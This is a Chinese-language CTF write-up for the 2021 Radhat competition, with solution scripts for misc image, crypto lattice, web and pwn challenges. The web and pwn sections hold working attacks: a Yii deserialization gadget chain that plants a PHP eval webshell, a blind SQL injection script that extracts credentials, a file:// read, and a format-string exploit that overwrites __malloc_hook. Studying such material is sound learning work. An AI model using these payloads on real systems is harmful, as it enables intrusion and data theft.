2021-Radhat

2021-Radhat

五月 08, 2021

Misc

签到

题目名:EBCDIC。EBCDIC编码打开即可看到flag

colorful code

题目名colorful code,文件data2里面总共0x300字节的数据,仔细查看发现除了前六十字节,后面的字节全是每三个字节一组
很明显,data2应该是像素值,而且可能只有前20组有用;

data1里面全是数字,统计一下发现只有0-19,很明显,就是对应data2前20组像素值,脚本转一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image

color = [(0x00,0x00,0x00),(0x00,0x00,0xc0),(0x00,0xff,0xff),(0x00,0xff,0x00),(0xff,0xc0,0xff),(0xff,0xc0,0xc0),(0xc0,0xc0,0xff),(0xc0,0xc0,0x00),(0xff,0x00,0xff),(0xff,0x00,0x00),(0xc0,0x00,0x00),(0xc0,0x00,0xc0),(0xff,0xff,0xff),(0xff,0xff,0x00),(0xff,0xff,0xc0),(0x00,0xc0,0x00),(0x00,0xc0,0xc0),(0xc0,0xff,0xff),(0xc0,0xff,0xc0),(0x00,0x00,0xff)]
print(len(color))
with open('data1','r') as f:
img = Image.new('RGB',(37,191),(255,255,255))
tmp = f.read(1)
flag = [] ; tmp_str = ''
num = 0
while tmp != '':
if tmp != ' ':
tmp_str += tmp
else:
if int(tmp_str,10) not in flag:
flag.append(int(tmp_str,10))
pixel = color[int(tmp_str,10)]
img.putpixel((num // 191 ,num % 191),pixel)
tmp_str = ''
num += 1

tmp = f.read(1)

img.save('flag.png')

得到一张图片,图片的样子加上题目名可以想到是 npiet 语言,用 npiet 解一下图片就可以了

PicPic

第一关

这里第一关看出题人给的脚本可以知道,出题人把原视频切割成帧图像之后,对每帧画面进行了傅里叶变换的处理,然后分别保存幅度图和相位图,其中幅度图的最大最小值都写在文件 r 里。

这里做题的时候暂时没想明白一点是:根据出题人的脚本可知,原视频切割了多少帧,for循环就执行多少次,相应的r文件中的数据也就被写入多少次,计算可知r文件被写入80次,也就是源png应该是80个,这里因为合并的时候出题人设置每秒25帧,所以合并后的视频是200帧,这种情况下,忽略了这一点反而也能解出正确图像是没想到的,暂时不理解为什么可以解出。这不逻辑

总之写出脚本对出题人输出的mkv进行反向操作可以得到源视频切割后的图像,能够在图像中看到下一关的压缩密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import cv2
import struct
import numpy as np

def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data

with open('r','rb') as f:
files = os.listdir('m')
for file in files:
m = cv2.imread(f'm/{file}',cv2.IMREAD_GRAYSCALE)
p = cv2.imread(f'p/{file}',cv2.IMREAD_GRAYSCALE)
r = struct.unpack('!ff',f.read(8))
Min = float(r[0])
Max = float(r[1])

m = mapping(m,Min,Max,np.float64)
p = mapping(p,-np.pi, np.pi,np.float64)
m = np.exp(m)

img = (m*np.cos(p)) + (m * np.sin(p) * 1j)
img = np.fft.ifftshift(img)
img = np.fft.ifft2(img)
img = mapping(img)

cv2.imwrite(f'frame/{file}',img)

第二关

给了一个hint,里面是mathML语言,直接html解析一下得到一个数学表达式,结合傅里叶变换可知是提示图像相位互换。脚本:

得到原二维码,扫码得到一串不明十六进制,猜测密文,先去下一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
import cv2
import struct
import numpy as np
from PIL import Image

def fft(img):
fft = np.fft.fft2(img)
m = np.abs(fft)
p = np.angle(fft)
return m, p

img1 = cv2.imread('mix1.png', cv2.IMREAD_GRAYSCALE)
img2 = cv2.imread('mix2.png', cv2.IMREAD_GRAYSCALE)

m1,p1 = fft(img1)
m2,p2 = fft(img2)

# exchange phase
m1_p2 = m1*np.cos(p2) + m1*np.sin(p2)*1j
m2_p1 = m2*np.cos(p1) + m2*np.sin(p1)*1j


m1_p2 = np.fft.ifft2(m1_p2)
cv2.imwrite('test1.png',np.uint8(m1_p2))
m2_p1 = np.fft.ifft2(m2_p1)
cv2.imwrite('test2.png',np.uint8(m2_p1))

img = Image.open('123.png')
x,y = img.size
for i in range(y):
for j in range(x):
pixel = img.getpixel((i,j))
if pixel >= 230:
img.putpixel((i,j),0)

img.save('flag.png')

img = Image.open('flag.png')
x,y = img.size
for i in range(y):
for j in range(x):
pixel = img.getpixel((i,j))
if pixel >= 50:
img.putpixel((i,j),255)

img.save('flag.png')

第三关

一张看上去满是噪点的图片,结合本题前两关可知,这应该是频谱图,考虑到幅度图还原不了原图,所以应该是相位图还原原图。脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import cv2
import struct
import numpy as np
from PIL import Image

def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data

img = cv2.imread('phase.png', cv2.IMREAD_UNCHANGED)

img = mapping(img,-np.pi,np.pi)
img = np.exp(1j*img)
img = np.fft.ifftshift(img)
img = np.fft.ifft2(img)
img = np.abs(img)
img = mapping(img)

cv2.imwrite('test.png',img.astype(np.uint8))

img = Image.open('test.png')
x,y = img.size
test_img = Image.new('L',(x,y))
for i in range(x):
for j in range(y):
pixel = img.getpixel((i,j))
if pixel < 2:
test_img.putpixel((i,j),255)

test_img.save("key.png")

Web

find_it

robots.txt 提示1ndexx.php
.1ndexx.php.swp拿到源码 ?code=<?=phpinfo();?>
hack.php中搜索flag,找到flag

framework

www.zip 下载源码,本地搭环境查看版本是yii 2.0.38
审计发现actionAbout存在反序列化,网上搜索找到链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'assert';
$this->id = "file_put_contents('cop.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NvcCddKTs='));";
}
}
}
//file_put_contents('cop.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NvcCddKTs='));
namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace {
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

本地用system一直失败所以尝试用assert 写shell
写入shell之后蚁剑连接,发现根目录存在readflag,Disable_functions禁用了系统函数,用蚁剑的绕过插件apache_mod_cgi模板一键绕过执行readflag

WebsiteManger

主页加载图片 image.php发现注入点
注入Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
i=1
n=2
flag=""
for i in range(6,27):
print(i)
m=64
j=64
for q in range(1,8):
if q!=1:
j=j/2
if n==1:
m=m+j
elif n==0:
m=m-j
m=int(m)
#exp="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})^1" .format (i,m)
#exp="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{},1))>{})^1".format (i,m)
exp="1^(ascii(substr((select(group_concat(username,password))from(users)),{},1))>{})^1".format(i,m)
url='http://eci-2ze8j3xqhbs4re3pkykz.cloudeci1.ichunqiu.com/image.php?id={}'.format(exp)
time.sleep(0.1)
p=requests.get(url,timeout=100)
if len(p.text)>1:
n=1
else:
n=0
if q==7:
if len(p.text)>1:
flag=flag+chr(m+1)
else:
flag=flag+chr(m)
print(flag)

注出账号密码admin/db83298098fb07d4ee64c 登陆后发现host参数支持file协议可以读取本地文件,读取file:///flag 拿到flag

Crypto

Primegame

原题改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import math
from decimal import *
import random
import struct

getcontext().prec = int(100)

primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

keys = []
for i in range(len(primes)):
keys.append(Decimal(int(primes[i])).ln())

arr = []
for v in keys:
arr.append(int(v * int(16) ** int(64)))

ct = 597952043660446249020184773232983974017780255881942379044454676980646417087515453



def encrypt(res):
h = Decimal(int(0))
for i in range(len(keys)):
h += res[i] * keys[i]

ct = int(h * int(16)**int(64))
return ct

def f(N):
ln = len(arr)
A = Matrix(ZZ, ln + 1, ln + 1)
for i in range(ln):
A[i, i] = 1
A[i, ln] = arr[i] // N
A[ln, i] = 64

A[ln, ln] = ct // N

res = A.LLL()

for i in range(ln + 1):
flag = True
for j in range(ln):
if -64 <= res[i][j] < 64:
continue
flag = False
break
if flag:
vec = [int(v + 64) for v in res[i][:-1]]
ret = encrypt(vec)
if ret == ct:
print(N, bytes(vec))
else:
print("NO", ret, bytes(vec))

for i in range(2, 10000):
print(i)
f(i)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import math
from decimal import *
import random
import struct

getcontext().prec = int(100)

primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

keys = []
for i in range(len(primes)):
keys.append(Decimal(int(primes[i])).ln())

arr = []
for v in keys:
arr.append(int(v * int(16) ** int(64)))

ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918


def encrypt(res):
h = Decimal(int(0))
for i in range(len(keys)):
h += res[i] * keys[i]

ct = int(h * int(16)**int(64))
return ct

def f(N):
ln = len(arr)
A = Matrix(ZZ, ln + 1, ln + 1)
for i in range(ln):
A[i, i] = 1
A[i, ln] = arr[i] // N
A[ln, i] = 64

A[ln, ln] = ct // N

res = A.LLL()

for i in range(ln + 1):
flag = True
for j in range(ln):
if -64 <= res[i][j] < 64:
continue
flag = False
break
if flag:
vec = [int(v + 64) for v in res[i][:-1]]
ret = encrypt(vec)
if ret == ct:
print(N, bytes(vec))
else:
print("NO", ret, bytes(vec))

for i in range(2, 10000):
print(i)
f(i)

Hpcurve

原题改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
p = 10000000000000001119

K = GF(p)
R.<x> = K[]; y=x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()

def get_u_from_out(output, known_input):
res = []
for i in range(24):
res.append(output[i]^^known_input[i])
res = bytes(res)
u0, u1, u2 = struct.unpack("<QQQ", res)
u = x^3+x^2*u2+x*u1+u0
return u

from itertools import product
import struct
from random import SystemRandom

def get_v_from_u(u):
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
ys = []
for root in roots:
ys.append(f(root).sqrt(0,1))
res = []
for perm in product(range(2), repeat=3):
poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
if poly[0] in K:
res.append(R(poly))
return res

def try_decode(output, u, v):
rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *rs)
plain = []
for i in range(len(output)):
plain.append(output[i]^^otp[i%len(otp)])
return bytes(plain)


output = bytes.fromhex("66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5")
known_input = b"aaaaaaaaaaaaaaaaaaaaflag{"
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
print(try_decode(output,u,v))

Pwn

parser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
context.log_level = "debug"
pdbg = pwn_debug("./chall")
debug = 3
#pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.27") #2.23 ... 2.29
pdbg.remote("xxx.xxx.xxx.xxx",xxx) #IP,PORT
if debug == 1:
r = pdbg.run("debug")
elif debug == 2:
r = pdbg.run("local")
else:
r = pdbg.run("remote")

def debug(addr):
pdbg.bp([addr])

def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc" in key:
return text_base,r.libs()[key]

def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))

elf = pdbg.elf
libc = pdbg.libc
def sendn(content):
r.recvuntil("> ")
r.send(content)

payload1 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a%234$p"
#confirm(ret_addr)
sendn(payload1)
# 0x5da710
libc_base = int(r.recvuntil(">",drop=1),16) - 0x3e7638
confirm(libc_base)
one_getgad = libc_base + 0x4f3c2
confirm(one_getgad)
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
t1=one_getgad&0xff
payload2 += "%" + str(t1) + "c" +"%" + str(31) + '$hhn' + "a" * 9 + p64(malloc_hook) + "a" *8
confirm(malloc_hook)

r.sendline(payload2)
r.recvuntil(">")
t2=one_getgad>>8&0xff
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"

payload2 += "%" + str(t2) + "c" +"%" + str(31) + '$hhn' + "a" * 10 + p64(malloc_hook+1) + "a" *8

r.sendline(payload2)

r.recvuntil(">")
t2=one_getgad>>16&0xff
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"
payload2 += "%" + str(t2) + "c" +"%" + str(31) + '$hhn' + "a" * 10 + p64(malloc_hook+2) + "a" *8

r.sendline(payload2)
r.recvuntil(">")
t2=one_getgad>>24&0xff
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"
payload2 += "%" + str(t2) + "c" +"%" + str(31) + '$hhn' + "a" * 9 + p64(malloc_hook+3) + "a" *8

r.sendline(payload2)
r.recvuntil(">")
t2=one_getgad>>32&0xff
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"
payload2 += "%" + str(t2) + "c" +"%" + str(31) + '$hhn' + "a" * 9 + p64(malloc_hook+4) + "a" *8
r.sendline(payload2)

r.recvuntil(">")
t2=one_getgad>>40&0xff
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"
payload2 += "%" + str(t2) + "c" +"%" + str(31) + '$hhn' + "a" * 9 + p64(malloc_hook+5) + "a" *8
r.sendline(payload2)
r.recvuntil(">")
payload2 = "GET / HTTP/1.1\nHost: xxx.xxx.xxx.xxx:xxx\nConnection: Close\nAccept-Encoding: gzip\nContent-Length: -1\n\x0a"
payload2 += "%1000000c"
r.send(payload2)
r.interactive()
隐藏